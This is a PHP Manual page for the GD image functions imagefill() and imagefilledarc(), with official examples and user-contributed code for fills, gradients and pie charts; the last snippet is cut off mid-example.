Flood fill

imageellipse
imagefilledarc
GD and Image Functions
PHP Manual

imagefill

(PHP 4, PHP 5)

imagefill — Flood fill

Description

bool imagefill ( resource $image , int $x , int $y , int $color )

Performs a flood fill starting at the given coordinate (top left is 0, 0) with the given color in the image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x

x-coordinate of start point.

y

y-coordinate of start point.

color

The fill color. A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagefill() example

<?php

$im = imagecreatetruecolor(100, 100);

// sets background to red
$red = imagecolorallocate($im, 255, 0, 0);
imagefill($im, 0, 0, $red);

header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagefill()

See Also

  • imagecolorallocate() - Allocate a color for an image

User Contributed Notes

Eduard Resina 22-Jan-2011 07:12
Using imagefill with alpha colors in a png file does not allow for blending the filling with the original image. On the other hand, substituting imagefill with imagefilledrectangle in order to fill with alpha colors is only helpful when a rectangle shape is desired. This example shows how to imagefill with alpha color or alpha tile images allowing the existing background of the original image to come through, and yet filling only the area with the same color surrounding the filling start point.

<?php

$fillstartx = 30;
$fillstarty = 80;
$r = 180;
$g = 200;
$b = 60;
$alpha = 80;
$tileimage = null;

$mainimage = imagecreatefrompng("myimage.png");
$intermediateimage = imagecreatefrompng("myimage.png"); //intermediate copy

$imagewidth = imagesx($mainimage);
$imageheight = imagesy($mainimage);

/* $tileimage = imagecreatefrompng("tile.png");  //FOR TILE IMAGEFILL */

if ($tileimage) {
    imagesettile($intermediateimage, $tileimage);
    $color = IMG_COLOR_TILED;
}
else $color = imagecolorallocatealpha($intermediateimage, $r, $g, $b, $alpha);

imagealphablending($intermediateimage, false);
imagefill($intermediateimage, $fillstartx, $fillstarty, $color);
imagesettile($mainimage, $intermediateimage);  //set the filled copy as a tile to the main image

imagealphablending($mainimage, true);
imagefilledrectangle($mainimage, 0, 0, $imagewidth, $imageheight, IMG_COLOR_TILED); //apply the tile copy on top of the original

imagealphablending($mainimage, false);
imagesavealpha($mainimage, true);
imagepng($mainimage, "myimage.png", 0);

imagedestroy($intermediateimage);
imagedestroy($mainimage);

?>
Christopher Kramer 06-Oct-2009 03:00
Here is a function to generate a gradient.
You specify width, heigth and 4 colors (of the 4 corners).

An image handle of the gradient image will be returned.
You can copy the returned image onto another image using imageecopy.
This can be helpful if you want to generate a shadow for example.
("Glow effect example": Generate 8 gradients, one for each side and one for each corner. The outer side of the gradients have the background color and the inner sides have a bright color such as white.)

But beware: This function is not optimized for performance, it might become slow on big images. For shadows, better cache the generated gradients.

Note: For gradients, using true-color is highly recommended.

<?php

function gradient($w=100, $h=100, $c=array('#FFFFFF','#FF0000','#00FF00','#0000FF'), $hex=true) {

 /*
 Generates a gradient image

 Author: Christopher Kramer

 Parameters:
 w: width in px
 h: height in px
 c: color-array with 4 elements:
    $c[0]:   top left color
    $c[1]:   top right color
    $c[2]:   bottom left color
    $c[3]:   bottom right color

 if $hex is true (default), colors are hex-strings like '#FFFFFF' (NOT '#FFF')
 if $hex is false, a color is an array of 3 elements which are the rgb-values, e.g.:
 $c[0]=array(0,255,255);

 */

 $im=imagecreatetruecolor($w,$h);

 if($hex) {  // convert hex-values to rgb
  for($i=0;$i<=3;$i++) {
   $c[$i]=hex2rgb($c[$i]);
  }
 }

 $rgb=$c[0]; // start with top left color
 for($x=0;$x<=$w;$x++) { // loop columns
  for($y=0;$y<=$h;$y++) { // loop rows
   // set pixel color
   $col=imagecolorallocate($im,$rgb[0],$rgb[1],$rgb[2]);
   imagesetpixel($im,$x-1,$y-1,$col);
   // calculate new color
   for($i=0;$i<=2;$i++) {
    $rgb[$i]=
      $c[0][$i]*(($w-$x)*($h-$y)/($w*$h)) +
      $c[1][$i]*($x     *($h-$y)/($w*$h)) +
      $c[2][$i]*(($w-$x)*$y     /($w*$h)) +
      $c[3][$i]*($x     *$y     /($w*$h));
   }
  }
 }
 return $im;
}

function hex2rgb($hex)
 {
 $rgb[0]=hexdec(substr($hex,1,2));
 $rgb[1]=hexdec(substr($hex,3,2));
 $rgb[2]=hexdec(substr($hex,5,2));
 return($rgb);
 }

// usage example

$image=gradient(300, 300, array('#000000', '#FFFFFF', '#FF0000', '#0000FF'));

header('Content-type: image/png');
imagepng($image);
imagedestroy($image);

?>
dunhamzzz [A] gmail 01-Sep-2008 08:36
I feel its worth pointing out that you cannot fill a transparent colour that you have assigned with imagecolorallocatealpha, the colour will fill, but without its transparency,

I find the easiest method around this is to just fill a rectangle using imagefilledrectangle() to draw a fill instead.
daniel_nocturnal at hotmail dot com 07-Jul-2008 07:27
I've used razonklnbd's example, I had to fill an image with a background pattern from an image (file). So I put the code to pieces and come up with a lighter version that suited me, all thanks to razonklnbd.

My version receives three parameters, $image, $width, $height.

$image = The background pattern image
$width = Width of the new image
$height = Height of the new image

<?php
    function imagefillfromfile($image, $width, $height) {
        $imageWidth = imagesx($image);
        $imageHeight = imagesy($image);
        $newImage = imagecreatetruecolor($width, $height);

        for ($imageX = 0; $imageX < $width; $imageX += $imageWidth) {
            for ($imageY = 0; $imageY < $height; $imageY += $imageHeight) {
                imagecopy($newImage, $image, $imageX, $imageY, 0, 0, $imageWidth, $imageHeight);
            }
        }

        return($newImage);
        imagedestroy($newImage);
    }
?>

This function returns a new image with a filled canvas of an image (file) with a fixed width/height.

Example usage:

<?php
    $pattern = imagecreatefrompng('pattern.png');
    $image = imagefillfromfile($pattern, 400, 300);
    imagepng($image);
    imagedestroy($image);
    imagedestroy($pattern);
?>
Cypog 17-Mar-2008 07:27
imagefill can't deal with alpha colors, use imagefilledrectangle instead.

<?php

    header("Content-Type: image/png");
    $im = imagecreatefrompng("img/button.png");
    if (empty($_GET['alpha']))
        {$_GET['alpha'] = 10;}
    $color = imagecolorallocatealpha($im, 255, 255, 255, $_GET['alpha']);
    imagefillalpha($im, $color);
    imagepng($im);
    imagedestroy($im);

    function ImageFillAlpha($image, $color)
    {
        imagefilledrectangle($image, 0, 0, imagesx($image), imagesy($image), $color);
    }

?>
info at educar dot pro dot br 09-Mar-2007 07:54
Example 1
The filled region will be external to a demarcated region, if the initial coordinates will be outside of this region.

<?php
$src621 = imagecreate(200,200);
$clr_1_621 = imagecolorallocate($src621, 255, 255, 0);
$clr_2_621 = imagecolorallocate($src621, 0, 0, 250);
$clr_4_621 = imagecolorallocate($src621, 2,2,55);
imagerectangle($src621, 100, 100, 150, 150, $clr_4_621);
imagefill($src621, 110, 110, $clr_2_621);
header("Content-Type: image/png");
imagepng ($src621);
imagedestroy($src621);
?>

Example 2
The filled region will be internal to a demarcated region, if the initial coordinates will be inside of this region.
<?php
$src622 = imagecreate(200,200);
$clr_1_622 = imagecolorallocate($src622, 255, 255, 0);
$clr_2_622 = imagecolorallocate($src622, 0, 0, 250);
$clr_4_622 = imagecolorallocate($src622, 2,2,55);
imagerectangle($src622, 100, 100, 150, 150, $clr_4_622);
imagefill($src622, 10, 10, $clr_2_622);
header("Content-Type: image/png");
imagepng ($src622);
imagedestroy($src622);
?>

See another examples at:
http://www.educar.pro.br/a/gdlib/index.php?pn=50&tr=97
Gromitt 06-Mar-2007 10:14
If you need to fill a whole image (immediatly after its creation for instance), consider applying a filled rectangle instead, using imagefilledrectangle() :

<?php

$gdImage = imagecreatetruecolor(100, 100);
$gdColor = imagecolorallocate($gdImage, 255, 0, 0); // red
imagefilledrectangle($gdImage, 0, 0, 99, 99, $gdColor);

?>

which will require much less logic and processing from GD.
razonklnbd at yahoo dot com 24-Sep-2006 03:32
I spend more then two hour to find a function that can fill a pattern or file as background instead of color. but i can't find. so i develop the following function. i though this function will save time who need it...

Function will get four parameter
1. Main Image Identifier
2. Pattern Image Identifier
3. Final Image Width
4. Final Image Height

If you set final image width or height is less then main image width or height then you may get wrong result

<?php

function fill_with_patternfile($p_main_im, $p_patternfile_im, $p_width, $p_height){
    $pimiX=$p_patternfile_im;
    $pw=imagesx($pimiX);
    $ph=imagesy($pimiX);
    $targetImageIdentifier=imagecreatetruecolor($p_width,$p_height);
    if($pw<$p_width && $ph<$p_height){
        for($pX=0;$pX<$p_width;$pX+=$pw){
            for($pY=0;$pY<$p_height;$pY+=$ph){
                imagecopy($targetImageIdentifier,$pimiX,$pX,$pY,0,0,$pw,$ph);
            }
        }
    }else imagecopy($targetImageIdentifier,$pimiX,0,0,0,0,$pw,$ph);
    $w=imagesx($p_main_im);
    $h=imagesy($p_main_im);
    $nX=0;
    if($w<$p_width) $nX=intval(($p_width-$w)/2);
    $nY=0;
    if($h<$p_height) $nY=intval(($p_height-$h)/2);
    imagecopy($targetImageIdentifier,$p_main_im,$nX,$nY,0,0,$w,$h);
    return $targetImageIdentifier;
}
//    If you want to use a gif or png file as
//    pattern file you need to change function below :)
$pattern_im=imagecreatefromjpeg('logo.jpg');
//    If you want to use a gif or png file as
//    main file you need to change function below :)
$main_im=imagecreatefromjpeg('r2.jpg');
//    call the function width 500 and height 500
//    if your width and height is less then main images
//    width and height then you can't understand any change!
$final=fill_with_patternfile($main_im, $pattern_im, 500, 500);
//    view the image and destroy all instance
header('Content-type: image/jpeg');
imagejpeg($final);
imagedestroy($final);
imagedestroy($main_im);
imagedestroy($pattern_im);
exit();

?>
jonathan dot aquino at gmail dot com 08-Jun-2006 03:12
Use imageSaveAlpha($image, true); to preserve transparency.
gelak 29-Nov-2005 11:27
//A smiley face ;]

<?php

header('Content-type: image/png');

$smile=imagecreate(400,400);
$kek=imagecolorallocate($smile,0,0,255);
$feher=imagecolorallocate($smile,255,255,255);
$sarga=imagecolorallocate($smile,255,255,0);
$fekete=imagecolorallocate($smile,0,0,0);
imagefill($smile,0,0,$kek);

imagearc($smile,200,200,300,300,0,360,$fekete);
imagearc($smile,200,225,200,150,0,180,$fekete);
imagearc($smile,200,225,200,123,0,180,$fekete);
imagearc($smile,150,150,20,20,0,360,$fekete);
imagearc($smile,250,150,20,20,0,360,$fekete);
imagefill($smile,200,200,$sarga);
imagefill($smile,200,290,$fekete);
imagefill($smile,155,155,$fekete);
imagefill($smile,255,155,$fekete);
imagepng($smile);

?>
pisu at estmail dot hu 29-Nov-2005 01:48
chess board
<?php

$kep = imagecreate(400,400);
$fekete = imagecolorallocate($kep,0,0,0);
$feher = imagecolorallocate($kep,255,255,255);

//imagefill($kep,50,50,$fekete);
imagefill($kep,50,20,$feher);

for ($i=1;$i<8;$i++)  {
  $k = $i*50;
  imageline($kep,0,$k,400,$k,$fekete);
  imageline($kep,$k,0,$k,400,$fekete);
  }

for ($i=0;$i<8;$i++)  {
  for ($j=0;$j<8;$j++)  {
    $x = $i*50 + 2;
        $y = $j*50 + 2;
    if (  ( ($i % 2) + ($j % 2) )  % 2 == 0 )  {
          imagefill($kep,$x,$y,$fekete);
          }

    }
  }

// imagecolortransparent($kek,$piros);

header('content-type : image/png');
imagepng($kep);

?>
colin at galaxyinteractive dot net 28-Jul-2005 08:26
Didn't see this documented, although it's outlined in imagefilledrectangle, it wasn't quite so obvious to me at first

imageSetTile($image,$imageBack);
imagefill($image,0,0,IMG_COLOR_TILED);

Will fill an image with a texture (this is great as I'm building a logo/template creator)
Igor Garcia 28-Jun-2003 03:18
This function, cannot deal with transparencies.
So you need to use imagecolorallocate instead of imagecolorallocatealpha.
Thus, be careful with color variables that allready set with imageallocatecoloralpha because this can slow-down or hang-up your system.
norxh 04-Jun-2003 08:36
For new images, you must allocate a color before this function will work.
08-Feb-2003 05:49
Actually, it can handle pre-transparent images. To remove it you need to do something like:
   imagecolortransparent($img, 0);
to null out the previous transparency colors. ;)
aqmprod at iname dot com 09-Jan-2000 05:08
This function does not seem to work with images already been transparent. If you fill at x=0, y=0, and there are still transparent parts that you did
not reach with your fill, they change to a different color.

The ImageColorSet function seems to be the solution, but i can't work with transparancy.
imageellipse
imagefilledarc
GD and Image Functions


Draw a partial arc and fill it

imagefill
imagefilledellipse
GD and Image Functions
PHP Manual

imagefilledarc

(PHP 4 >= 4.0.6, PHP 5)

imagefilledarc — Draw a partial arc and fill it

Description

bool imagefilledarc ( resource $image , int $cx , int $cy , int $width , int $height , int $start , int $end , int $color , int $style )

Draws a partial arc centered at the specified coordinate in the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

cx

x-coordinate of the center.

cy

y-coordinate of the center.

width

The arc width.

height

The arc height.

start

The arc start angle, in degrees.

end

The arc end angle, in degrees. 0° is located at the three-o'clock position, and the arc is drawn clockwise.

color

A color identifier created with imagecolorallocate().

style

A bitwise OR of the following possibilities:

  1. IMG_ARC_PIE
  2. IMG_ARC_CHORD
  3. IMG_ARC_NOFILL
  4. IMG_ARC_EDGED
IMG_ARC_PIE and IMG_ARC_CHORD are mutually exclusive; IMG_ARC_CHORD just connects the starting and ending angles with a straight line, while IMG_ARC_PIE produces a rounded edge. IMG_ARC_NOFILL indicates that the arc or chord should be outlined, not filled. IMG_ARC_EDGED, used together with IMG_ARC_NOFILL, indicates that the beginning and ending angles should be connected to the center - this is a good way to outline (rather than fill) a 'pie slice'.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Creating a 3D looking pie

<?php

// create image
$image = imagecreatetruecolor(100, 100);

// allocate some colors
$white    = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$gray     = imagecolorallocate($image, 0xC0, 0xC0, 0xC0);
$darkgray = imagecolorallocate($image, 0x90, 0x90, 0x90);
$navy     = imagecolorallocate($image, 0x00, 0x00, 0x80);
$darknavy = imagecolorallocate($image, 0x00, 0x00, 0x50);
$red      = imagecolorallocate($image, 0xFF, 0x00, 0x00);
$darkred  = imagecolorallocate($image, 0x90, 0x00, 0x00);

// make the 3D effect
for ($i = 60; $i > 50; $i--) {
   imagefilledarc($image, 50, $i, 100, 50, 0, 45, $darknavy, IMG_ARC_PIE);
   imagefilledarc($image, 50, $i, 100, 50, 45, 75 , $darkgray, IMG_ARC_PIE);
   imagefilledarc($image, 50, $i, 100, 50, 75, 360 , $darkred, IMG_ARC_PIE);
}

imagefilledarc($image, 50, 50, 100, 50, 0, 45, $navy, IMG_ARC_PIE);
imagefilledarc($image, 50, 50, 100, 50, 45, 75 , $gray, IMG_ARC_PIE);
imagefilledarc($image, 50, 50, 100, 50, 75, 360 , $red, IMG_ARC_PIE);

// flush image
header('Content-type: image/png');
imagepng($image);
imagedestroy($image);
?>

The above example will output something similar to:

Output of example : Creating a 3D looking pie

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

User Contributed Notes

splogamurugan at gmail dot com 09-Feb-2011 02:53
A simple pie chart generation script.
Displays the percentage at center arc and displays the Legends with random colors.

<?php
class simplepie
{
    function __construct($width, $height, $dataArr)
    {
        $font = './verdana.ttf'; /** get it from c:/windows/fonts dir */
        $this->image = imagecreate($width,$height);
        $piewidth = $width * 0.70;/* pie area */
        $x = round($piewidth/2);
        $y = round($height/2);
        $total = array_sum($dataArr);
        $angle_start = 0;
        $ylegend = 2;
        imagefilledrectangle($this->image, 0, 0, $width, $piewidth, imagecolorallocate($this->image, 128, 128, 128));
        foreach($dataArr as $label=>$value) {
            $angle_done    = ($value/$total) * 360; /** angle calculated for 360 degrees */
            $perc          = round(($value/$total) * 100, 1); /** percentage calculated */
            $color         = imagecolorallocate($this->image, rand(0, 255), rand(0, 255), rand(0, 255));
            imagefilledarc($this->image, $x, $y, $piewidth, $height, $angle_start, $angle_done+= $angle_start, $color, IMG_ARC_PIE);
            $xtext = $x + (cos(deg2rad(($angle_start+$angle_done)/2))*($piewidth/4));
            $ytext = $y + (sin(deg2rad(($angle_start+$angle_done)/2))*($height/4));
            imagettftext($this->image, 6, 0, $xtext, $ytext, imagecolorallocate($this->image, 0, 0, 0), $font, "$perc %");
            imagefilledrectangle($this->image, $piewidth+2, $ylegend, $piewidth+20, $ylegend+=20, $color);
            imagettftext($this->image, 8, 0, $piewidth+22, $ylegend, imagecolorallocate($this->image, 0, 0, 0), $font, $label);
            $ylegend += 4;
            $angle_start = $angle_done;
        }
    }
    function render()
    {
        header('Content-type: image/png');
        imagepng($this->image);
    }
}
/** usage */
$dataArr = array(2001=>10, 2002=>30, 2003=>50, 2004=>10);
$width=600;
$height=480;
$pie = new simplepie($width, $height, $dataArr);
$pie->render();
?>
geompse at gmail dot com 24-Jun-2010 01:18
Be aware of :
 - $start and $end are INT (10,1 = 10 ; 359,5 = 360)
 - if ($start == $end), then a full disc is drawn

Examples :
<?php

 $start = 0; // 0deg
 $end = 360; // 360deg
 #=> filled disc (360 degrees arc)

 $start = 0; // 0deg
 $end = 50; // 360deg
 #=> filled arc (50 degrees arc)

 $start = 0;
 $end = 1;
 #=> 1 degree filled arc

 $start = 0;
 $end = 0,2;
 #=> filled disc [unexpected]

 $start = 0;
 $end = 1,4;
 #=> 1 degree filled arc [unexpected loss of precision]

 $start = 359.9;
 $end = 360;
 #=> filled disc [unexpected]

?>

I hope this note will help YOU saving time and patience... working with pie charts !
Christopher Kramer 17-Sep-2009 04:25
If this function is not available because you're using an old gdlib version, here is a workaround if you want to draw a pie chart:

<?php

// width and height of the image
$width=200;
$height=200;

$simulate_old_gd=true; // do not use imagefilledarc although available?

// the pieces of the pie (in degree)
$pieces=array(180,90,45,25,15,5);

$diagram=imagecreate($width,$height);

// background color
$white=imagecolorallocate($diagram, 255, 255, 255);
imagefilledrectangle($diagram,0,0,$width,$height,$white);

// the circle is 2px smaller than the image
$width-=2;
$height-=2;

// we need a border color
$black=imagecolorallocate($diagram, 0, 0, 0);

// draw the border of the pie
imagearc($diagram, round($width/2), round($height/2),
         $width, $height, 0, 360, $black);

// position (in degrees) where to place the next piece
$position=270;
// we will use calculated gray colors for simple example
$gray=0;

foreach($pieces as $deg)
 {
 // calculate the gray color
 $gray+=30;
 if($gray>255) $gray=0;
 $color=imagecolorallocate($diagram,$gray,$gray,$gray);

 // position must be kept < 360
 if($position>360) $position-=360;

 if(!$simulate_old_gd && is_callable('imagefilledarc'))
  {
  imagefilledarc($diagram, round($width/2),
  round($height/2), $width, $height, $position,
  $position+$deg, $color,IMG_ARC_EDGED);
  }
 else
  {
  // we use some maths to calculate the pixel on the circle
  $pix_x=round(floor(($width-2)/2)*cos($position/180*M_PI)
         +round($width/2));
  $pix_y=round(floor(($height-2)/2)*sin($position/180*M_PI)
         +round($height/2));
  // now we  draw a line from the mid of the circle to the
  // calculated pixel on the circle
  imageline($diagram, round($width/2), round($height/2),
            $pix_x, $pix_y, $black);
  // now we need a pixel for flood filling.
  //- We could use maths to calculate a pixel inside the
  // piece:
  //$fill_x=round(floor(($width-10)/2)*
  //        cos(($position+2)/180*M_PI)+round($width/2));
  //$fill_y=round(floor(($height-10)/2)*
  //        sin(($position+2)/180*M_PI)+round($height/2));
  //- or we could use an universal pixel with less maths ;)
  // (top mid):
  $fill_x=floor($width/2)-2;
  $fill_y=3;
  // now we flood fill the circle
  @imagefilltoborder ($diagram,$fill_x,$fill_y,$black,$color);
  /* (it does not matter here that we fill more than we need
      because the next pieces will fix this)
     IF YOU ONLY WANT ONE PIECE
     (simulate imagefilledarc) you'd have to draw
     both border lines and flood fill afterwards */
  }
 // the position of the next piece is $deg degrees further
 $position+=$deg;
 }

// output the image
header('Content-type: image/png');
imagepng($diagram);
imagedestroy($digram);
?>
mateusz dot charytoniuk at gmail dot com 26-Feb-2009 09:31
The code below uses colors from "hans at lintoo dot dk"'s note. It delivers pie charts with labels:

<?php
$bright_list = array(
    array(255, 203, 3),
    array(220, 101, 29),
    array(189, 24, 51),
    array(214, 0, 127),
    array(98, 1, 96),
    array(0, 62, 136),
    array(0, 102, 179),
    array(0, 145, 195),
    array(0, 115, 106),
    array(178, 210, 52),
    array(137, 91, 74),
    array(82, 56, 47)
);
$dark_list = array(
    array(205, 153, 0),
    array(170, 51, 0),
    array(139, 0, 1),
    array(164, 0, 77),
    array(48, 0, 46),
    array(0, 12, 86),
    array(0, 52, 129),
    array(0, 95, 145),
    array(0, 65, 56),
    array(128, 160, 2),
    array(87, 41, 24),
    array(32, 6, 0)
);

$data = array();
$angle = array();
$title = array();
$i = 0;
foreach( $_GET as $key => $value ) {
    $data[$i] = intval($value);
    $title[$i++] = str_replace("_"," ",strval($key));
}
$sum = array_sum($data);
if( $sum == 0 ) {
    ++ $sum;
}
$count = count($data);
for( $i = 0; $i < $count; ++ $i ) {
    $angle[$i] = floor($data[$i]/$sum*360);
    if( $angle[$i] == 0 ) {
        ++ $angle[$i];
    }
}
$sum_angle = array_sum($angle);
if( $sum_angle < 360 ) {
    $angle[0]+=360-$sum_angle;
}

$height = $count*34;
if( $height < 180 ) {
    $height = 180;
}

$im  = imagecreate (350, $height);
$background = imagecolorallocate($im, 226, 226, 226);
$border = imagecolorallocate($im,97,97,97);
$font_color = imagecolorallocate($im,0,0,0);
$font = 'yourfont.ttf';

$bright = array();
foreach( $bright_list as $c ) {
    $bright[] = imagecolorallocate($im,$c[0],$c[1],$c[2]);
}

$dark = array();
foreach( $dark_list as $c ) {
    $dark[] = imagecolorallocate($im,$c[0],$c[1],$c[2]);
}
$tmp = 0;
for( $i =0; $i < $count; ++ $i ) {
    for( $j = 100; $j > 90; -- $j ) {
        imagefilledarc($im, 100, $j, 180, 120, $tmp, $tmp+$angle[$i], $dark[$i], IMG_ARC_PIE);
    }
    $tmp += $angle[$i];
}

$tmp = 0;
for( $i =0; $i < $count; ++ $i ) {
    imagefilledarc($im, 100, 90, 180, 120, $tmp, $tmp+$angle[$i], $bright[$i], IMG_ARC_PIE);
    $tmp += $angle[$i];
}
for( $i = 0; $i < $count; ++ $i ) {
    imagefilledrectangle($im, 209, 19+($i*30), 231, 41+($i*30), $border);
    imagefilledrectangle($im, 210, 20+($i*30), 230, 40+($i*30), $bright[$i]);
    imagefttext($im, 11, 0, 240, 34+($i*30), $font_color, $font, $title[$i]);
}
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>

try 'pie.php?foo=3&bar=4&baz=6'
Mike 14-Aug-2007 12:43
The previous example does not work well.  This is much better and faster:

<?php
$Randomized = rand(1,20);
for($i=0;$i<=$Randomized;$i++){$data[$i]=rand(2,20);};//full array with garbage.
$imgx='600';$imgy='400';//Set Image Size. ImageX,ImageY
$cx = '300';$cy ='150'; //Set Pie Postition. CenterX,CenterY
$sx = '600';$sy='300';$sz ='100';// Set Size-dimensions. SizeX,SizeY,SizeZ

$data_sum = array_sum($data);
//convert to angles.
for($i=0;$i<=$Randomized;$i++){
   $angle[$i] = (($data[$i] / $data_sum) * 360);
   $angle_sum[$i] = array_sum($angle);
};
$im  = imagecreate ($imgx,$imgy);
$background = imagecolorallocate($im, 255, 255, 255);
//Random colors.
for($i=0;$i<=$Randomized;$i++){
   $r=rand(100,255);$g=rand(100,255);$b=rand(100,255);
   $colors[$i] = imagecolorallocate($im,$r,$g,$b);
   $colord[$i] = imagecolorallocate($im,($r/1.5),($g/1.5),($b/1.5));
}
//3D effect.
for($z=1;$z<=$sz;$z++){
        // first slice
    imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,0
    ,$angle_sum[0],$colord[0],IMG_ARC_EDGED);
   for($i=1;$i<=$Randomized;$i++){
        imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,$angle_sum[$i-1]
        ,$angle_sum[$i],$colord[$i],IMG_ARC_NOFILL);
   };
};
//Top pie.
   // first slice
   imagefilledarc($im,$cx,$cy,$sx,$sy,0 ,$angle_sum[0], $colors[0], IMG_ARC_PIE);
for($i=1;$i<=$Randomized;$i++){
   imagefilledarc($im,$cx,$cy,$sx,$sy,$angle_sum[$i-1] ,$angle_sum[$i], $colors[$i], IMG_ARC_PIE);
};
//Output.
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
imazir at gmail dot com 31-Jan-2006 02:53
The previous example does not work. Try those modifications and you will have the expected results :

<?
$Randomized = rand(1,20);
for($i=0;$i<=$Randomized;$i++){$data[$i]=rand(2,20);};//full array with garbage.
$imgx='200';$imgy='200';//Set Image Size. ImageX,ImageY
$cx = '100';$cy ='50'; //Set Pie Postition. CenterX,CenterY
$sx = '200';$sy='100';$sz ='20';// Set Size-dimensions. SizeX,SizeY,SizeZ

$data_sum = array_sum($data);
//convert to angles.
for($i=0;$i<=$Randomized;$i++){
   $angle[$i] = (($data[$i] / $data_sum) * 360);
   $angle_sum[$i] = array_sum($angle);
};
$im  = imagecreate ($imgx,$imgy);
$background = imagecolorallocate($im, 255, 255, 255);
//Random colors.
for($i=0;$i<=$Randomized;$i++){
   $r=rand(100,255);$g=rand(100,255);$b=rand(100,255);
   $colors[$i] = imagecolorallocate($im,$r,$g,$b);
   $colord[$i] = imagecolorallocate($im,($r/2),($g/2),($b/2));
}
//3D effect.
for($z=1;$z<=$sz;$z++){
   for($i=1;$i<=$Randomized;$i++){
imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,$angle_sum[$i-1]
,$angle_sum[$i],$colord[$i],IMG_ARC_PIE);
   };
};
//Top pie.
for($i=1;$i<=$Randomized;$i++){
   imagefilledarc($im,$cx,$cy,$sx,$sy,$angle_sum[$i-1] ,$angle_sum[$i], $colors[$i], IMG_ARC_PIE);
};
//Output.
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
Byron at theworks dot net dot nz 10-Oct-2005 11:52
try this,
<?
$Randomized = rand(1,20);
for($i=0;$i<=$Randomized;$i++){$data[$i]=rand(2,20);};//full array with garbage.
$imgx='200';$imgy='200';//Set Image Size. ImageX,ImageY
$cx = '100';$cy ='50'; //Set Pie Postition. CenterX,CenterY
$sx = '200';$sy='100';$sz ='20';// Set Size-dimensions. SizeX,SizeY,SizeZ

$data_sum = array_sum($data);
//convert to angles.
for($i=0;$i<=$Randomized;$i++){
    $angle[$i] = (($data[$i] / $data_sum) * 360);
    $angle_sum[$i] = array_sum($angle);
};
$im  = imagecreate ($imgx,$imgy);
$background = imagecolorallocate($im, 255, 255, 255);
//Random colors.
for($i=0;$i<=$Randomized;$i++){
    $r=rand(100,255);$g=rand(100,255);$b=rand(100,255);
    $colors[$i] = imagecolorallocate($im,$r,$g,$b);
    $colord[$i] = imagecolorallocate($im,($r/2),($g/2),($b/2));
}
//3D effect.
for($i=0;$z<=$sz;$z++){
    for($i=0;$i<=$Randomized;$i++){
imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,$angle_sum[$i-1]
,$angle_sum[$i],$colord[$i],IMG_ARC_PIE);
    };
};
//Top pie.
for($i=0;$i<=$Randomized;$i++){
    imagefilledarc($im,$cx,$cy,$sx,$sy,$angle_sum[$i-1] ,$angle_sum[$i], $colors[$i], IMG_ARC_PIE);
};
//Output.
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
paulcharltonthomson at hotmail dot com 01-Jul-2005 11:00
Here's a slightly better way to get the colours for the pie chart shaded wall as posted by double-zonk at wp dot pl

<?php

$rgb0 = array (255, 153, 204);
$rgb1 = array (255, 153, 0);
$rgb2 = array (153, 204, 0);
$rgb3 = array (51, 153, 102);
$rgb4 = array (51, 204, 204);
$rgb5 = array (51, 102, 255);
$rgb6 = array (128, 0, 128);
$rgb7 = array (150, 150, 150);

for ($r = 0; $r < 8; ++$r)
    {
        if(${"rgb" . $r}[0] < 50) $shadowr = 0; else $shadowr = ${"rgb" . $r}[0] - 50;
        if(${"rgb" . $r}[1] < 50) $shadowg = 0; else $shadowg = ${"rgb" . $r}[1] - 50;
        if(${"rgb" . $r}[2] < 50) $shadowb = 0; else $shadowb = ${"rgb" . $r}[2] - 50;
        ${"wall" . $r} = array ($shadowr, $shadowg, $shadowb);
    }

for ($s = 0; $s < 8; ++$s)
    {
        $kolor[$s] = imagecolorallocate($image, ${"rgb" . $s}[0], ${"rgb" . $s}[1], ${"rgb" . $s}[2]);
        $cien[$s] = imagecolorallocate($image, ${"wall" . $s}[0], ${"wall" . $s}[1], ${"wall" . $s}[2]);
    }

?>
04-Jun-2005 12:25
For 3D-graphs you will want to have a nice shadow. Here is an easy wat to calculate a good matching shadow to a color.
$color is the color for the pie-piece above, $shadow_color is the shadow under it.

<?php

$mask = 0; //0 for darker, 255 for brighter
$percent = 0.70; //between 0.40 (very different) and 0.99 (almost the same)

$R = rand(0, 124); // } between 0,124 if your background color is white
$G = rand(0, 124); // } between 124,255 if your background color is black
$B = rand(0, 124); // } or play with these values

$RS = round($R * $percent) + round($mask * (1-$percent));
$GS = round($G * $percent) + round($mask * (1-$percent));
$BS = round($B * $percent) + round($mask * (1-$percent));

$color = imagecolorallocate( $im, $R, $G, $B);
$shadow_color = imagecolorallocate( $im, $RS, $GS, $BS);

?>
t_therkelsen at hotmail dot com 08-Mar-2005 01:21
Note that imageFilledArc() and imageArc() both take ints as degree measurements.  This is no problem if you're *only* using imageArc() and/or imageFilledArc().  However, if you're using calculated degrees and plan to superimpose other drawing elements (eg., you want to make vertical lines between the shadow 3D effect) you need to floor() your degrees before converting them to radians, otherwise you'll get precision errors.

A small example illustrating the 'feature'...

<?php
$img = imageCreate(400, 400);
$back = imageColorAllocate($img, 0, 0, 0);
$front = imageColorAllocate($img, 255, 255, 255);

$sd = 45.5;
$ed = 130.5;

imageFilledArc($img, 200, 200, 300, 300, $sd, $ed,
               $front, IMG_ARC_PIE|IMG_ARC_NOFILL|IMG_ARC_EDGED);
imageArc($img, 200, 230, 300, 300, $sd, $ed, $front);

imageLine($img,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+200,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+230,
          $front);
imageLine($img,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+200,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+230,
          $front);

header('Content-type: image/png');
